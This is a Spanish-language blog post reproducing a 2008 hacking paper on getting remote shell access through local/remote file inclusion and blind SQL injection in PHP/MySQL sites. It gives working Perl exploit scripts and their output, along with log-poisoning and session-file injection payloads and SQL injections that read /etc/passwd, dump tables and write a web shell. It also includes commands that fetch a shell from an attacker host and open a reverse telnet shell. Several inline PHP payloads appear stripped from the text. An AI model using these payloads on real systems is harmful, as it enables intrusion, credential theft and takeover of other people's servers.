martes, 4 de noviembre de 2008

Pepelux miembro del grupo eNYe-sec ha publicado un documento en el que nos muestras las vulnerabilidades web mas populares que permiten acceso remoto a un sistema.

El contenido del paper es..

1 - Introducción

2 - Local y Remote File Inclusion (LFI/RFI)
2.1 - Introducción
2.2 - Ejecutando comandos remotamente
2.2.1 - Inyectando código PHP en los logs de apache
2.2.2 - Inyectando código PHP en la tabla de procesos
2.2.3 - Inyectando código PHP en una imagen
2.2.4 - Inyectando código PHP en los ficheros de sesiones
2.2.5 - Inyectando código PHP en otros archivos
2.3 - Obteniendo una shell
2.4 - Remote File Inclusión

3 - Blind SQL Injection
3.1 - Introducción
3.2 - Cargando ficheros locales
3.3 - Obteniendo datos sin fuerza bruta
3.4 - Ejecutando comandos remotamente
3.5 - Obteniendo una shell

4 - Referencias

Ver Anuncio en Pagina Oficial







|=------=[ Vulnerabilidades web que permiten acceder al sistema ]=-------=|
|=-----------------------------------------------------------------------=|
|=-----=[ pepelux[at]enye-sec[dot]org ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ 12/10/2008 ]-=--------------------------=|
--[ Contenido
1 - Introduccion
2 - Local y Remote File Inclusion (LFI/RFI)
2.1 - Introduccion
2.2 - Ejecutando comandos remotamente
2.2.1 - Inyectando codigo PHP en los logs de apache
2.2.2 - Inyectando codigo PHP en la tabla de procesos
2.2.3 - Inyectando codigo PHP en una imagen
2.2.4 - Inyectando codigo PHP en los ficheros de sesiones
2.2.5 - Inyectando codigo PHP en otros archivos
2.3 - Obteniendo una shell
2.4 - Remote File Inclusion
3 - Blind SQL Injection
3.1 - Introduccion
3.2 - Cargando ficheros locales
3.3 - Obteniendo datos sin fuerza bruta
3.4 - Ejecutando comandos remotamente
3.5 - Obteniendo una shell
4 - Referencias
---[ 1 - Introduccion
Existen muchas vulnerabilidades que nos permiten explotar una web, todas muy
antiguas y documentadas. Tenemos ataques LFI, RFI, SQL, XSS, SSI, ICH, etc. Por
ese motivo me voy a centrar unicamente en aquellos ataques que permiten acceder
al sistema y ejecutar comandos remotamente.
Seria muy aburrido hacer un recopilatorio contando lo mismo de siempre, por lo
que tratare de aportar alguna cosa nueva y contar lo basico solo por encima.
---[ 2 - Local y Remote File Inclusion (LFI/RFI)
----[ 2.1 - Introduccion
Este tipo de ataque es ya muy conocido y basicamente consiste en leer ficheros
del sistema aprovechando fallos de programacion que realizan llamadas a otros
ficheros mediante los comandos require, require_once, include e include_once.
Logicamente, llamadas en las que entre en juego alguna variable no inicializada.
Ejemplos:
require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");
Las formas de explotarlo son bien conocidas y no voy a entrar en detalles, tan
solo las voy a enumerar. Por ejemplo:
Tipo de llamada:
require($file);
Forma de explotarlo:
http://host/?file=/etc/passwd
Tipo de llamada:
require("includes/".$file);
Forma de explotarlo:
http://host/?file=../../../../../etc/passwd
Tipos de llamada:
require("languages/".$lang.".php");
require("themes/".$theme."/config.php");
Forma de explotarlo:
http://host/?file=../../../../../etc/passwd
Tipo de llamada:
require("languages/".$_COOKIE['lang'].".php");
Forma de explotarlo:
javascript:document.cookie = "lan=../../../../../etc/passwd";
Un script que explota esto, por GET o POST, podria ser:
lfi.pl
---------------------------------------------
#! /usr/bin/perl
# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
# URL: http://site.com/index.php
# Variable: var
# Method: POST
##
by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 \n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
while () {
print "file to edit: ";
chomp($file=);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
} ---------------------------------------------
----[ 2.2 - Ejecutando comandos remotamente
Hemos visto que ante este tipo de fallos es posible editar cualquier archivo
del sistema al que el usuario web tenga acceso de lectura, pero tambien es
posible llegar a ejecutar comandos en el sistema. Para ello necesitamos
escribir en algun fichero del sistema lo siguiente:
cmd es el nombre que le ponemos a nuestra variable para poder enviar datos a
traves de GET.
Ahora solo queda buscar lugares donde podamos escribir datos. Como hacemos esto?
pues veamos diferentes formas de hacerlo:
-----[ 2.2.1 - Inyectando codigo PHP en los logs de apache
Sabemos que apache guarda logs de todas las operaciones que se realizan, bien en
access_log o bien en error_log. Podemos jugar con los datos que quedan
registrados e intentar inyectar el codigo.
Por ejemplo, para inyectar en el fichero error_log basta con realizar una
llamada a una pagina inexistente, pero enviando el codigo que necesitamos
escribir en el fichero:
http://host/xxxxxxx=
Esto añadira una linea dentro de error_log con la inyeccion de codigo que hemos
puesto. Y ahora que? pues solo nos queda cargar ese fichero de la misma forma
que hicimos antes y pasar en cmd el comando que queramos ejecutar:
http://host/?file=../../../var/apache/error_log&cmd=ls /etc
http://host/?file=../../../var/apache/error_log&cmd=uname -a
Pero, como sabemos la ubicacion de los logs de apache? Esto depende del
sistema operativo y del administrador del sistema. Una opcion es buscar en los
directorio tipicos donde se guardan los logs:
/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/
......
En un servidor compartido nos podriamos encontrar esta situacion:
/path/host.com/www
/logs
/data
En este caso, para conocer el path basta con escribir un fichero que no exista,
por ejemplo:
http://host/?file=xxxx
Y veremos en pantalla algo asi:
Warning: require(xxxx) [function.require]: failed to open stream: No such
file or directory in /var/www/host.com/www/p.php on line 2
Por lo que los logs podrian estar en /var/www/host.com/logs
Otra forma de localizar la ruta de los logs seria editando el fichero de
configuracion httpd.conf donde podemos ver algo como esto:
ErrorLog /var/log/apache/error.log
O en el caso de un servidor compartido:
ErrorLog /home/chs/host.com/home/logs/error_log
Pero como comente antes, esto depende del sistema operativo, de la version de
apache y del administrador del sistema, por lo que es posible que no este en
esa ubicacion.
Tambien podemos localizar donde guarda apache los logs buscando en la tabla de
procesos: /proc/{PID}/fd/{FD_ID} (lo malo es que fd solo es accesible por un
usuario en algunos sistemas).
Para localizar el PID de nuestra sesion de apache podemos hacer cualquier
peticion por HTTP y leer enseguida el contenido de /proc/self/stat. Self enlaza
al ultimo pid usado en el sistema, por lo que podemos, con un script, hacer una
peticion y seguidamente leer los ficheros que necesitamos en /proc/self.
Dentro de /proc/{PID}/fd tendremos solo unos pocos enlaces para analizar,
encontrandonos la ruta de access_log y de error_log. Para esta tarea vamos a
usar el siguiente script en perl, que busca todos los enlaces dentro del
directorio /proc/self/fd/ para localizar la ubicacion de error_log:
proc.pl
---------------------------------------------
#! /usr/bin/perl
# perl script to serach apache logs path
# Example:
# URL: http://site/index.php
# Variable: file
# Method: POST
##
by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 \n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}
$ua->agent("");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
} else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);
print "Apache PID: ".$pid."\n";
}
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
} else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);
print "FD_SIZE: ".$fdsize."\n";
}
for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;
while() {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
} ---------------------------------------------
pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2
Si localiza el FD es porque /proc/{PID}/fd/{FD_ID} es legible por el usuario y
tendremos, en este caso, en /proc/4191/fd/2 un enlace a error_log. Modificando
el script podriamos lanzar el comando que deseamos ejecutar añadiendo al final
del script la llamada a http://host/?file=/proc/4191/fd/2&cmd=uname -a (ver el
primer script).
Tambien podemos hacer la inyeccion usando una URL que no de error y cuyo log se
almacenara en access_log:
http://host/index.php?x=
Es posible que apache no guarde bien la inyeccion o que sustituya por
su valor hexadecimal, con lo que no podriamos hacer nada por GET. En ese caso
probaremos a mandar el comando PHP a traves de un POST, por ejemplo usando perl.
Otros datos que guarda el apache en access_log y donde podemos inyectar son el
referer o el user-agent.
Vamos a realizar algunas pruebas usando el siguiente script:
cmd.pl
---------------------------------------------
#! /usr/bin/perl
# perl script to inject a CMD in a web LFI vulnerable
# Example:
# Host: http://host.com
# type: U
##
by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $type) = @ARGV ;
$code="";
unless($ARGV[1]) {
print "Usage: perl $0 [URI|UAG|REF]\n";
print "\tURI: URI\n";
print "\tUAG: User-Agent\n";
print "\tREF: Referer\n\n";
print "\tex: perl $0 http://host.com URI\n";
exit 1;
}
$host = "http://".$host if ($host !~ /^http:/);
if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }
if ($type =~ /URI/) { $$host .= "/" . $code; }
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");
if ($type =~ /REF/) { $req->referer($code); }
$res = $ua->request($req);
---------------------------------------------
Vamos a escribir en error_log enviando una URI inexistente:
pepelux:~$ perl cmd.pl http://host.com/blabla URI
Y en error_log vemos algo asi:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Probamos con el User-Agent:
pepelux:~$ perl cmd.pl http://host.com/blabla UAG
Y en error_log tenemos lo mismo:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Vamos a probar ahora con el Referer:
pepelux:~$ perl cmd.pl http://host.com/blabla REF
En este caso si que obtenemos la inyeccion:
[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla, referer: ?>
Vamos a escribir ahora en access_log que almacena mas informacion que error_log:
pepelux:~$ perl cmd.pl http://host.com/index.php URI
En este caso obtenemos:
11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
/index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
Firefox/3.0.1"
Probamos con el User-Agent:
pepelux:~$ perl cmd.pl http://host.com/index.php UAG
Y obtenemos la inyeccion:
11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
/index.php HTTP/1.1" 301 - "-" ""
Probamos con el Referer:
pepelux:~$ perl cmd.pl http://host.com/index.php REF
Y tambien obtenemos la inyeccion:
11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
/index.php HTTP/1.1" 301 - "" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
-----[ 2.2.2 - Inyectando codigo PHP en la tabla de procesos
He encontrado un texto (pongo abajo la referencia) que explica como inyectar en
/proc/self/environ, que es una ruta estatica que siempre conocemos. El problema
es que en la mayoria de sistemas este fichero solo es accesible por root y no
podremos leer el contenido.
Como comente antes /proc/self apunta al ultimo pid usado, por lo que no
necesitamos averiguar cual es el pid de nuestro proceso de apache ya que
accederiamos a el directamente. El ataque consiste en realizar la inyeccion en
el User-Agent lanzando seguidamente la llamada a este fichero:
http://host/?file=../../../proc/self/environ&cmd=uname -a
Al igual que antes, esto habria que hacerlo con un pequeño script ya que se
debe
inyectar y seguido lanzar el comando, antes que self apunte a otro pid diferente
a nuestro proceso.
-----[ 2.2.3 - Inyectando codigo PHP en una imagen
Es muy habitual encontrarse con webs que nos permiten subir un avatar el cual
queda almacenado en el servidor. Que ocurriria si creamos un archivo de texto
que contenga: y lo guardamos con extension GIF o JPG?
pues que nos dejaria subirlo sin problemas ya que la extension corresponde con
una imagen y en caso de que la web sea vulnerable a un ataque LFI, podriamos
explotarlo de la misma forma que hemos visto antes:
http://host/?file=path/avatar.gif&cmd=uname -a
-----[ 2.2.4 - Inyectando codigo PHP en los ficheros de sesiones
Supongamos el siguiente codigo vulnerable:
$user = $_GET['user'];
session_register("user");
session_start();
?>
Como podemos ver, esta creando una variable de sesion usando un valor obtenido
mediante GET y del que no hace ningun tipo de verificacion.
Vamos a enviar:
http://host/?user=
Luego miramos las cookies de nuestro navegador y podemos ver algo asi:
PHPSESSID=b25ca6fea480073cf8eb840b203d343e
Analizando la carpera donde se guardan las sesiones podemos comprobar el
contenido:
pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user|s:26:"";
Ya que en este caso podemos inyectar codigo en el fichero que guarda los datos
de nuestra sesion, tambien podremos ejecutar comandos usando este fichero:
http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a
En este caso la ruta la conocemos y podemos seleccionarla sin problemas. Si por
GET filtra la entrada podemos inyectar usando POST.
-----[ 2.2.5 - Inyectando codigo PHP en otros archivos
Normalmente no tendremos acceso dado que solo root puede leer estos archivos
pero seria posible inyectar nuestro codigo en otros logs, como por ejemplo en
el de FTP:
pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux):
Password:
Si echamos un vistazo a /var/log/proftpd/proftpd.log podemos ver que nuestro
codigo se ha inyectado:
Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER : no such user found
from [11.22.33.44] to host.com:21
Si el servidor vulnerable usa una version antigua de webalizer y es accesible
por web, tambien es posible usar el fichero usage_DATE.html para ejecutar
codigo ya que este fichero se genera con las estadisticas de visitas a partir
de access.log y en versiones antiguas de webalizer es posible inyectar codigo
html en el referer. Por ejemplo: Referer:
Tan solo tienes que hacer un bucle de llamadas con ese referer para que
ese referer entre entre los mas enviados y aparezca en la pagina de visitas.
En caso de que el servidor admita el uso del comando PUT tambien seria posible
subir un archivo con nuestro codigo:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1
HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory
Connection closed by foreign host.
Para inyectar:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26

----[ 2.3 - Obteniendo una shell
Una vez que hemos conseguido ejecutar comandos remotamente, podemos intentar
crear una shell para acceder al sistema.
Una forma seria instalando una shell basada en PHP. Podemos descargarla usando
el comando wget:
http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php
Como no podemos descargar por HTTP un archivo PHP, lo que hacemos es bajar un
fichero TXT y guardarlo como PHP.
Tambien podemos intentar realizar un reverse telnet:
pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889
http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
----[ 2.4 - Remote File Inclusion
En el caso de que en php.ini la variable allow_url_include este a On, podremos
aprovechar este tipo de inclusiones para inyectar una shell directamente. La
tecnica es la misma que he descrito antes y tambien es muy conocida. Basta con
cargar por GET o POST directamente una URL que tenga la shell (con una
extension diferente a PHP para poder incluir el contenido del fichero):
http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt
---[ 3 - Blind SQL Injection
----[ 3.1 - Introduccion
Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados por
lo que no voy a volver a escribirlos. Unicamente comentare la tecnica que nos
permite leer ficheros del sistema.
----[ 3.2 - Cargando ficheros locales
Ante una web vulnerable a ataques SQL (os recuerdo que este doc esta basado en
MySQL), en el caso de que el usuario con el conectamos a la base de datos tenga
permisos para usar el comando load_file de MySQL, podemos cargar cualquier
archivo del sistema, por ejemplo, /etc/passwd.
Ejemplo:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
+---+---------+----------------------------------+--------------+
| 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
+---+---------+----------------------------------+--------------+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+---------+----------------------------------+--------------+
Codigo vulnerable:
$iduser = $_GET['id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);
$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
echo "El mail del usuario es:" . $row["mail"] . "\n";
?>
Partimos de una tabla que desconocemos, con unos campos que desconocemos y con
un MySQL que no muestra los errores por pantalla.
> llamada correcta que muestra el mail del usuario 2:
http://host/?id=2
> intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error
Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos
muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que
ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa
tabla, ORDER BY 5 provoca un error.
Para que sirve esto? pues para conocer el numero de columnas que tiene la
tabla sobre la que se esta realizando la query.
> modificamos la salida por pantalla (ya sabemos que hay 4 columnas):
http://host/?id=-1 UNION SELECT 1,2,3,4
Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y
creara una nueva fila con los datos que hemos introducido. Por que ponemos
ID=-1? veamos un ejemplo practico:
Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4
Salida:
+---+---------+----------------------------------+--------------+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+---------+----------------------------------+--------------+
| 1 | 2 | 3 | 4 |
+---+---------+----------------------------------+--------------+
Como en pantalla muestra solo el primer resultado, la salida sera:
El mail del usuario es: pepelux@host
En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:
Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4
Salida:
+---+---------+----------------------------------+--------------+
| 1 | 2 | 3 | 4 |
+---+---------+----------------------------------+--------------+
La salida sera:
El mail del usuario es: 4
> aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
Esto mostraria por pantalla el contenido de /etc/passwd en el lugar donde
deberia aparecer el mail del usuario (siempre que el usuario con el que
accedemos a la base de datos tenga permisos para hacer un load_file).
En el caso de que las magic_quotes esten activas y no podamos escribir
comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL
es que el usuario con el que leemos es diferente. En el primer caso usaremos un
usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero
puede servir a la hora de leer archivos con ciertos permisos.
----[ 3.3 - Obteniendo datos sin fuerza bruta
Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
+---+---------+----------------------------------+--------------+
| 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
+---+---------+----------------------------------+--------------+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+---------+----------------------------------+--------------+
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);
$result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
echo "El mail del usuario es:" . $row["mail"] . "\n";
?>
Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
Y veremos que el contenido de /tmp/sql.txt es:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin
necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma
forma podemos sacar los datos del resto de usuarios.
El problema de este ataque es que solo podemos ver los datos de la tabla sobre
la que se esta realizando la consulta.
Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio
local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
"/var/www/host.com/www/passwd"
O tambien podemos crear PHPs. Por ejemplo:
http://host/?id=-1 union select 1,"",1 into outfile
"/var/www/host.com/www/phpinfo.php"
----[ 3.4 - Ejecutando comandos remotamente
Hemos visto antes diversas formas de inyectar para
poder ejecutar comandos remotamente. El principal problema que nos
encontrabamos era poder inyectar en un fichero facilmente localizable. En el
caso de los logs de apache era complicado averiguar la ubicacion y tambien era
posible que el usuario no tuviera acceso de lectura a estos logs.
En este caso es sencillo provocar un error que nos muestre por pantalla la
ruta donde se encuenta la web. Conociendola podemos crear un PHP con el codigo
que nos permita ejecutar comandos:
http://host/?id=-1 union select 1,"",1 into outfile
"/var/www/host.com/www/cmd.php"
Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a
Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en
cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:
Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,"",1,1 into
outfile "/tmp/sql.txt"
Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a
----[ 3.5 - Obteniendo una shell
Si hemos conseguido crear un fichero con nuestro codigo, la forma de obtener
una shell es la misma que he comentado antes para el LFI (punto 2.3) :-)
---[ 4 - Referencias
- http://www.g-brain.net/tutorials/local-file-inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/


No hay comentarios: